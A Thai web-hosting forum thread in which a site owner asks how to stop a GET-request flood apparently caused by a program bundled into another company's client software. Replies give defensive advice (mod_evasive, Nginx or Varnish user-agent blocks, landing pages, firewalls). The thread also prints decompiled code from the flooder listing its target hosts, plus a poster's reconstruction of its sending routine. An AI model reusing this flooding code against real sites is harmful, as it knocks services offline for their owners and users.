ขอออกตัวก่อนน่ะครับว่าไม่มีความรู้เรื่องเซิฟเวอร์เลย พอดีต้องการย้ายเว็บจากโฮสติ้งมาใส่เผื่อจะช่วยอะไรได้ครับ
งั้นเริ่มเรื่องเลยคือ ตอนแรกเช่าโฮสติ้งอยู่ แต่แล้วก็โดนเรื่องแบรนวิชเต็ม+โฮสล่มบ่อย เค้าบอกเราโดนยิง
เราก็เลยเปลี่ยนเป็นวางเซิฟแทนแต่แล้วเซิฟเวอร์ก็ล่มอีกครั้ง
เจ้าของเซิฟเวอร์ที่ผมเช่าเค้าบอกว่ามีการ connect เข้ามาแบบมหาศาล เลยทำให้ล่มครับ
ผมก็เลยตรวจสอบดูปรากฏว่าไปเจอเว็บนึงครับเค้าต้องการจำทำลายเว็บผมโดยการปล่อยตัวโปรแกรมฝังไว้กับเครื่องลูกค้าของเค้า
ที่ใช้บริการเค้าอ่ะครับ
ให้โปรแกรมนี้ทำงานโปรแกรมนี้จะทำหน้าที่ส่ง GET / HTTP/1.1 แบบนี้มาที่โดเมนผมครับ
แบบบ้าคลั่งอ่ะครับ ทำให้เสียแบรนวิช แล้วยังมีการconnectจนเว็บล่มครับ
[B]ผมอยากทราบวิธีป้องกัน ไม่ทราบว่าควรปฎิบัติอย่างไรดีครับ [/B]
สุดท้ายนี้ผมอาจพิมอะไรไม่รู้เรื่องไปบ้างเพราะไม่รู้จะอธิบายเป็นคำพูดอย่างไร มันเดือดร้อนมากจริงๆครับ
#Logfiles ผมอัพไว้อีกที่น่ะครับ
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
#อันนี้ตัวโปรแกรมที่เค้าทำฝังไปพร้อมกับโปรแกรมที่ลูกค้าเค้าใช้งานครับ
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
วิธีปิดตัวโปรแกรมน่ะครับ ให้ปิด process ก่อนละถึงลบทิ้งได้
.ขอบคุณครับ.
ลองใช้ PHP Anti DDOS หรือ Mod eva ดู หรือ .htaccess Block รูปแบบการ Request
[COLOR=#FF0000]#ขอบคุณครับเดี๋ยวจะไปศึกษาดู [/COLOR]:d5f02ecd:
[COLOR=#ff0000]แต่ มีอีกเรื่องครับ คือconnectมันเยอะมากเลยครับ ดูจาก logfile ที่อัพไว้ให้อ่ะครับ ในเวลาแปปเดียว เพียบเลยครับ ส่วนนี้แก้ไขอย่างไรดีครับ[/COLOR]
มีอีกวิธีครับใช้ Nginx กรองออกไปก่อนถึง Apache แต่วิธีนี้ค่อยข้างยากนิดนึงแต่ถ้าทำได้นี่แหล่มมากครับและใช้ PHP กรองหรือ Mod Apache อีกที
คำตอบไหนใช้การได้ กดปุ่ม Thanks ใต้คำตอบนั้นด้วยนะครับ :d5f02ecd:
ครับขอบคุณครับพี่ แต่จริงๆน่ะผมไม่รู้ว่าตรงไหนปุ่มกด Thank :189bbdde:
icez
April 15, 2012, 12:43pm
7
จากที่เอาโปรแกรมยิงมาแกะ รู้สึกที่โดนจะประมาณนี้
http://www.prohackz0ne.com/
http://www.prohackz0ne.com/bbs/
http://www.proindy.com/
http://www.taweeyon.com/
http://www.sellproonline.in/
เห็นในโปรแกรมยิง มีเงื่อนไขแปลกๆ เรื่อง IP เป้าหมาย ว่ายกเว้น 10.x 127.x 192.x แล้วก็ “202.162.78.x” (แต่เท่าที่ดู ท่าทางจะเขียนผิด ไม่ก็ตัว decompile ทำงานผิด)
อันนี้ sample ของที่แกะมาได้
Public Sub sckServer_UnknownEvent_B(Index As Integer) '402CA8
'Data Table: 401720
loc_402928: On Error Resume Next
loc_40292D: ILdI2 Index
loc_402930: FStI2 var_8A
loc_402935: FLdI2 var_8A
loc_402938: LitI2_Byte 0
loc_40293A: LitI2_Byte 3
loc_40293C: BetweenI2
loc_40293E: BranchF loc_402992
loc_402943: LitStr "GET / HTTP/1.1"
loc_402946: LitStr vbCrLf
loc_402949: ConcatStr
loc_40294A: FStStrNoPop var_90
loc_40294D: LitStr "Host: www.prohackz0ne.com"
loc_402950: ConcatStr
loc_402951: FStStrNoPop var_94
loc_402954: LitStr vbCrLf
loc_402957: ConcatStr
loc_402958: FStStrNoPop var_98
loc_40295B: LitStr "Accept: */*"
loc_40295E: ConcatStr
loc_40295F: FStStrNoPop var_9C
loc_402962: LitStr vbCrLf
loc_402965: ConcatStr
loc_402966: FStStrNoPop var_A0
loc_402969: LitStr "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"
loc_40296C: ConcatStr
loc_40296D: FStStrNoPop var_A4
loc_402970: LitStr vbCrLf
loc_402973: ConcatStr
loc_402974: FStStrNoPop var_A8
loc_402977: LitStr vbCrLf
loc_40297A: ConcatStr
loc_40297B: FStStr var_88
loc_40297E: FFreeStr var_90 = "": var_94 = "": var_98 = "": var_9C = "": var_A0 = "": var_A4 = "" = ""
loc_40298F: Branch loc_402B6A
loc_402992: ' Referenced from: 40293E
loc_402994: FLdI2 var_8A
loc_402997: LitI2_Byte 4
loc_402999: LitI2_Byte 7
loc_40299B: BetweenI2
loc_40299D: BranchF loc_4029F1
loc_4029A2: LitStr "GET /bbs/ HTTP/1.1"
loc_4029A5: LitStr vbCrLf
loc_4029A8: ConcatStr
loc_4029A9: FStStrNoPop var_90
loc_4029AC: LitStr "Host: www.prohackz0ne.com"
loc_4029AF: ConcatStr
loc_4029B0: FStStrNoPop var_94
loc_4029B3: LitStr vbCrLf
loc_4029B6: ConcatStr
loc_4029B7: FStStrNoPop var_98
loc_4029BA: LitStr "Accept: */*"
loc_4029BD: ConcatStr
loc_4029BE: FStStrNoPop var_9C
loc_4029C1: LitStr vbCrLf
loc_4029C4: ConcatStr
loc_4029C5: FStStrNoPop var_A0
loc_4029C8: LitStr "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"
loc_4029CB: ConcatStr
loc_4029CC: FStStrNoPop var_A4
loc_4029CF: LitStr vbCrLf
loc_4029D2: ConcatStr
loc_4029D3: FStStrNoPop var_A8
loc_4029D6: LitStr vbCrLf
loc_4029D9: ConcatStr
loc_4029DA: FStStr var_88
loc_4029DD: FFreeStr var_90 = "": var_94 = "": var_98 = "": var_9C = "": var_A0 = "": var_A4 = "" = ""
loc_4029EE: Branch loc_402B6A
loc_4029F1: ' Referenced from: 40299D
loc_4029F3: FLdI2 var_8A
loc_4029F6: LitI2_Byte 8
loc_4029F8: LitI2_Byte &HB
loc_4029FA: BetweenI2
loc_4029FC: BranchF loc_402A50
loc_402A01: LitStr "GET / HTTP/1.1"
loc_402A04: LitStr vbCrLf
loc_402A07: ConcatStr
loc_402A08: FStStrNoPop var_90
loc_402A0B: LitStr "Host: www.proindy.com"
loc_402A0E: ConcatStr
loc_402A0F: FStStrNoPop var_94
loc_402A12: LitStr vbCrLf
loc_402A15: ConcatStr
loc_402A16: FStStrNoPop var_98
loc_402A19: LitStr "Accept: */*"
loc_402A1C: ConcatStr
loc_402A1D: FStStrNoPop var_9C
loc_402A20: LitStr vbCrLf
loc_402A23: ConcatStr
loc_402A24: FStStrNoPop var_A0
loc_402A27: LitStr "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"
loc_402A2A: ConcatStr
loc_402A2B: FStStrNoPop var_A4
loc_402A2E: LitStr vbCrLf
loc_402A31: ConcatStr
loc_402A32: FStStrNoPop var_A8
loc_402A35: LitStr vbCrLf
loc_402A38: ConcatStr
loc_402A39: FStStr var_88
loc_402A3C: FFreeStr var_90 = "": var_94 = "": var_98 = "": var_9C = "": var_A0 = "": var_A4 = "" = ""
loc_402A4D: Branch loc_402B6A
loc_402A50: ' Referenced from: 4029FC
loc_402A52: FLdI2 var_8A
loc_402A55: LitI2_Byte &HC
loc_402A57: LitI2_Byte &HF
loc_402A59: BetweenI2
loc_402A5B: BranchF loc_402AAF
loc_402A60: LitStr "GET / HTTP/1.1"
loc_402A63: LitStr vbCrLf
loc_402A66: ConcatStr
loc_402A67: FStStrNoPop var_90
loc_402A6A: LitStr "Host: www.taweeyon.com"
loc_402A6D: ConcatStr
loc_402A6E: FStStrNoPop var_94
loc_402A71: LitStr vbCrLf
loc_402A74: ConcatStr
loc_402A75: FStStrNoPop var_98
loc_402A78: LitStr "Accept: */*"
loc_402A7B: ConcatStr
loc_402A7C: FStStrNoPop var_9C
loc_402A7F: LitStr vbCrLf
loc_402A82: ConcatStr
loc_402A83: FStStrNoPop var_A0
loc_402A86: LitStr "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"
loc_402A89: ConcatStr
loc_402A8A: FStStrNoPop var_A4
loc_402A8D: LitStr vbCrLf
loc_402A90: ConcatStr
loc_402A91: FStStrNoPop var_A8
loc_402A94: LitStr vbCrLf
loc_402A97: ConcatStr
loc_402A98: FStStr var_88
loc_402A9B: FFreeStr var_90 = "": var_94 = "": var_98 = "": var_9C = "": var_A0 = "": var_A4 = "" = ""
loc_402AAC: Branch loc_402B6A
loc_402AAF: ' Referenced from: 402A5B
loc_402AB1: FLdI2 var_8A
loc_402AB4: LitI2_Byte &H10
loc_402AB6: LitI2_Byte &H13
loc_402AB8: BetweenI2
loc_402ABA: BranchF loc_402B0E
loc_402ABF: LitStr "GET / HTTP/1.1"
loc_402AC2: LitStr vbCrLf
loc_402AC5: ConcatStr
loc_402AC6: FStStrNoPop var_90
loc_402AC9: LitStr "Host: www.sellproonline.in"
loc_402ACC: ConcatStr
loc_402ACD: FStStrNoPop var_94
loc_402AD0: LitStr vbCrLf
loc_402AD3: ConcatStr
loc_402AD4: FStStrNoPop var_98
loc_402AD7: LitStr "Accept: */*"
loc_402ADA: ConcatStr
loc_402ADB: FStStrNoPop var_9C
loc_402ADE: LitStr vbCrLf
loc_402AE1: ConcatStr
loc_402AE2: FStStrNoPop var_A0
loc_402AE5: LitStr "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"
loc_402AE8: ConcatStr
loc_402AE9: FStStrNoPop var_A4
loc_402AEC: LitStr vbCrLf
loc_402AEF: ConcatStr
loc_402AF0: FStStrNoPop var_A8
loc_402AF3: LitStr vbCrLf
loc_402AF6: ConcatStr
loc_402AF7: FStStr var_88
loc_402AFA: FFreeStr var_90 = "": var_94 = "": var_98 = "": var_9C = "": var_A0 = "": var_A4 = "" = ""
loc_402B0B: Branch loc_402B6A
loc_402B0E: ' Referenced from: 402ABA
loc_402B10: FLdI2 var_8A
loc_402B13: LitI2_Byte &H14
loc_402B15: LitI2_Byte &H17
loc_402B17: BetweenI2
loc_402B19: BranchF loc_402B6A
loc_402B1E: LitStr "GET /bbs/ HTTP/1.1"
loc_402B21: LitStr vbCrLf
loc_402B24: ConcatStr
loc_402B25: FStStrNoPop var_90
loc_402B28: LitStr "Host: www.sellproonline.in"
loc_402B2B: ConcatStr
loc_402B2C: FStStrNoPop var_94
loc_402B2F: LitStr vbCrLf
loc_402B32: ConcatStr
loc_402B33: FStStrNoPop var_98
loc_402B36: LitStr "Accept: */*"
loc_402B39: ConcatStr
loc_402B3A: FStStrNoPop var_9C
loc_402B3D: LitStr vbCrLf
loc_402B40: ConcatStr
loc_402B41: FStStrNoPop var_A0
loc_402B44: LitStr "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"
loc_402B47: ConcatStr
loc_402B48: FStStrNoPop var_A4
loc_402B4B: LitStr vbCrLf
loc_402B4E: ConcatStr
loc_402B4F: FStStrNoPop var_A8
loc_402B52: LitStr vbCrLf
loc_402B55: ConcatStr
loc_402B56: FStStr var_88
loc_402B59: FFreeStr var_90 = "": var_94 = "": var_98 = "": var_9C = "": var_A0 = "": var_A4 = "" = ""
loc_402B6A: ' Referenced from: 402B19
loc_402B6A: ' Referenced from: 402B0B
loc_402B6A: ' Referenced from: 402AAC
loc_402B6A: ' Referenced from: 402A4D
loc_402B6A: ' Referenced from: 4029EE
loc_402B6A: ' Referenced from: 40298F
loc_402B6E: FLdRfVar var_B4
loc_402B71: ILdI2 Index
loc_402B74: FLdPrThis
loc_402B75: VCallAd sckServer
loc_402B78: FStAdFunc var_B0
loc_402B7B: FLdPr var_B0
loc_402B83: FLdPr var_B4
loc_402B86: LateIdLdVar
loc_402B8D: PopAd
loc_402B8F: LitI4 1
loc_402B94: LitI4 -1
loc_402B99: LitVarStr var_D4, "."
loc_402B9E: FStVarCopyObj var_E4
loc_402BA1: FLdRfVar var_E4
loc_402BA4: FLdRfVar var_C4
loc_402BA7: CStrVarTmp
loc_402BA8: FStStrNoPop var_90
loc_402BAB: FLdRfVar var_F4
loc_402BAE: ImpAdCallFPR4 arg_1 = Split(arg_2, arg_3, sckServer_UnknownEvent_B, arg_5)
loc_402BB3: FLdRfVar var_F4
loc_402BB6: StAryVar
loc_402BBA: PopTmpLdAdStr var_F8
loc_402BBD: FLdRfVar var_AC
loc_402BC0: StAryCopy
loc_402BC2: FFree1Str var_90
loc_402BC5: FFreeAd var_B0 = "" = ""
.....
ครับผมแกะแล้วก็ได้ตามนั่นครับ ตอนนี้เดือดร้อนมากครับ เว็บไม่มีผมก็ทำไรไม่ได้เลยครับ :189bbdde:
Private Sub Command1_Click()
: On Error Resume Next
wSck.Close
wSck.RemoteHost = "www.blablabla.com"
wSck.RemotePort = 80
wSck.Connect
End Sub
Private Sub wSck_DataArrival(ByVal bytesTotal As Long)
: On Error Resume Next
Dim strData As String
Dim str As String
wSck.GetData strData
Text1 = "Recieved: " & strData
End Sub
Private Sub wSck_Connect()
: On Error Resume Next
Dim strTemp As String
strTemp = "GET / HTTP/1.1" & vbCrLf & _
"Host: www.blablabla.com" & vbCrLf & _
"Accept: */*" & vbCrLf & _
"User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)" & vbCrLf & vbCrLf
wSck.SendData strTemp
End Sub
ส่วนอันนี้ผมลองเขียนดูแกะจากตามแพกเกตอ่ะครับ จะได้รู้การทำงานและหาทางป้องกัน แต่ยังหาทางกันไม่ได้เลยครับ
kke
April 15, 2012, 6:41pm
10
ติดตั้ง firewall กับลง mod_evasive น่าจะช่วยได้ระดับนึง
แล้วถ้าเป็นไปได้ เว็บที่โดนยิงให้ทำหน้า landing page รับไว้ จะเข้าเว็บจริงให้กด link ต่ออีกทีนึง
ถ้าปกติหน้าหลักเป็น index.php ก็อาจสร้าง index.html เพิ่มเข้าไปประมาณนี้ (ถ้าลำดับการเรียกกำหนดไว้ให้เรียก html ก่อน php นะ)
<a href=‘index.php’>Enter Website</a>
japman
April 15, 2012, 7:08pm
11
แนะนำ ให้ลองเช็ค header กับลองดู User-agent ของรีเควสที่ส่งเข้ามา ถ้าซ้ำๆกัน ให้ลองใช้ varnish หรือ nginx เช็คแล้ว ก็บล๊อค รีเควสที่มาจาก user-agent พวกนั้น โดยรีเทิร์ท 403 ไปก่อนก็ได้ครับน่าจะช่วยลดโหลด ลงได้
if (
req.http.user-agent == “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)” ||
req.http.user-agent == “Mozilla/5.0 (compatible; MJ12bot/v1.4.0; http://www.majestic12.co.uk/bot.php?+ )”
)
{
error 403 “You are banned from this site. Please contact via a different client configuration if you believe that this is a mistake.”;
}
ประมาณนี้ครับ แต่ก็จะมีผลกับผู้ใช้บางส่วน ที่ user-aget เดียวกันแต่บางส่วนจะยังเข้าได้ แล้วก็ถ้าเป็น varnish ก็เช็ทให้ cache landingpage นานๆหน่อย ถ้าเรามีอัพเดทหน้าแรก ก็ค่อยมาเคลียร์ varnish cache.
ขอบคุณมากทุกคำตอบครับ ผมลืมบอกเซิฟเวอร์ที่ผมใช้อยู่เป็น Windows server 2008 R2
แล้วสามารถเอาผิดอะไรเค้าได้ไหมครับ
japman:
แนะนำ ให้ลองเช็ค header กับลองดู User-agent ของรีเควสที่ส่งเข้ามา ถ้าซ้ำๆกัน ให้ลองใช้ varnish หรือ nginx เช็คแล้ว ก็บล๊อค รีเควสที่มาจาก user-agent พวกนั้น โดยรีเทิร์ท 403 ไปก่อนก็ได้ครับน่าจะช่วยลดโหลด ลงได้
ประมาณนี้ครับ แต่ก็จะมีผลกับผู้ใช้บางส่วน ที่ user-aget เดียวกันแต่บางส่วนจะยังเข้าได้ แล้วก็ถ้าเป็น varnish ก็เช็ทให้ cache landingpage นานๆหน่อย ถ้าเรามีอัพเดทหน้าแรก ก็ค่อยมาเคลียร์ varnish cache.
แหม สมาชิกใหม่ ข้อมูลแน่นแบบนี้ ขอกด Thanks ให้ 1 อันครับ :d5f02ecd:
1.ถ้าเป็น Linux server จะกันได้ง่ายกว่า โดยใช้ shell + iptables
2.ใน Windows คุณลอง เขียน script ตรวจ connection ที่ port 80 กำหนดว่า ถ้า ip นี้ connect เกินจำนวณ x ก็แบนไปเลย แล้วให้ scrip นี้ run at background ทุกๆ 30 วินาที
3.หรืออีกวิธี กำหนด firewall ban แบนแบบ string
ton1
May 19, 2012, 2:14pm
15
ผมคิดว่า น่าจะมีการ request มาเยอะมากจริงๆ จากการใช้งานด้วยส่วนนึงหรือเปล่าครับ?
ส่วนตัวไม่รู้ว่า Windows มีวิธีการทำงาน หรือการป้องกัน เรื่องพวกนี้ ยังไงบ้าง
แต่พูดโดยรวมละกันครับ ว่าเราจะรับมือ connection หรือ request จำนวนมากได้อย่างไร
1.ลอง Tuning ตัว Web Server เองให้รองรับการทำงานได้ดีขึ้น รองรับ request ได้มากขึ้น
Web Server แต่ละตัว น่าจะมีวิธี Tuning ของมัน รวมไปถึงการ Tuning ถึงระดับ OS เองด้วย
หรือปิด log ที่ไม่จำเป็นออกไป ไม่ต้องเก็บ log ก็จะช่วยให้ performance ดีขึ้นได้ …
2.Tuning Program ที่เขียน ให้ทำงานเบาๆ แต่มีประสิทธิภาพ รวมไปถึงการ Tuning Database ด้วย
ทำ index ส่วนที่ควรจะเป็น index ให้ถูกต้อง ก็จะช่วยลด load โดยรวมได้มาก …
3.ถ้าเครื่องเดียว รับไม่ไหวจริงๆ ก็ต้องเพิ่มเครื่อง ช่วยกันทำงานครับ ง่ายๆ ก็ทำ DNS แบบ roundrobin
หรือจะใช้ software Load Balancer เช่นพวก HAProxy ก็ได้ครับ แค่นี้ ก็น่าจะเพียงพอสำหรับ LB
4.พยายามทำ memory caching เช่นอาจจะ cache query ของ DB หรือ cache ส่วนต่างๆ ลง memcached
ผมไม่รู้ว่าบน Windows มีหรือเปล่า แต่หลักการก็น่าจะเหมือนกัน …
5.พยายาม monitor และวิเคราะห์ให้ได้ว่าปัญหาจริงๆ เกิดจากตรงส่วนไหน ก็จะช่วยในการแก้ปัญหาได้เยอะครับ
rtsp
May 19, 2012, 6:20pm
16
ถ้าโดนยิงแค่หน้าแรกแล้ว bot มันไม่ได้เอา html ที่ได้รับไปทำงานต่อ
มีท่ากันง่ายๆอยู่คือยัด index.html ที่ใส่ meta redirect ไป index.php ครับ
ถ้าใช้ท่านี้แล้วเวิร์ค ยิงมาเท่าไหร่ก็ติด html หมด ถ้า web server ดีๆ นี่แทบจะไม่กินโหลดเลยครับ
ป.ล. แต่ฝั่งคนยิงก็แก้ตามไม่ยากนะ
ton1
May 19, 2012, 7:10pm
17
เท่าที่ดู access log ไม่น่าจะโดนยิงครับ เป็นการ request แบบปกติ
ปิด access log ไปก็น่าจะทำให้ load น้อยลง ทำงานได้ดีขึ้นครับ
/bbs/ return 404 มาตลอด
แถมมีการเรียกมาเยอะด้วย
เทพมากันใหญ่ ใครจุดธูปอ่ะ :th_100_:
ดูจาก Lofile ที่ให้มาท่านโดนยิงแน่นอน
ผมลองกรองดู 1 ip ดูว่า connect มากี่ตัวในระยะเวลา 1 นาทีกว่าๆ
124.121.9.44 - - [12/Apr/2012:08:58:09 +0700] “GET /bbs/ HTTP/1.1” 404 295
จนมาถึง
124.121.9.44 - - [12/Apr/2012:08:59:47 +0700] “GET /bbs/ HTTP/1.1” 404 295
[B] IP นี้ มี 5,000 lines ภายใน 1.38 นาที[/B]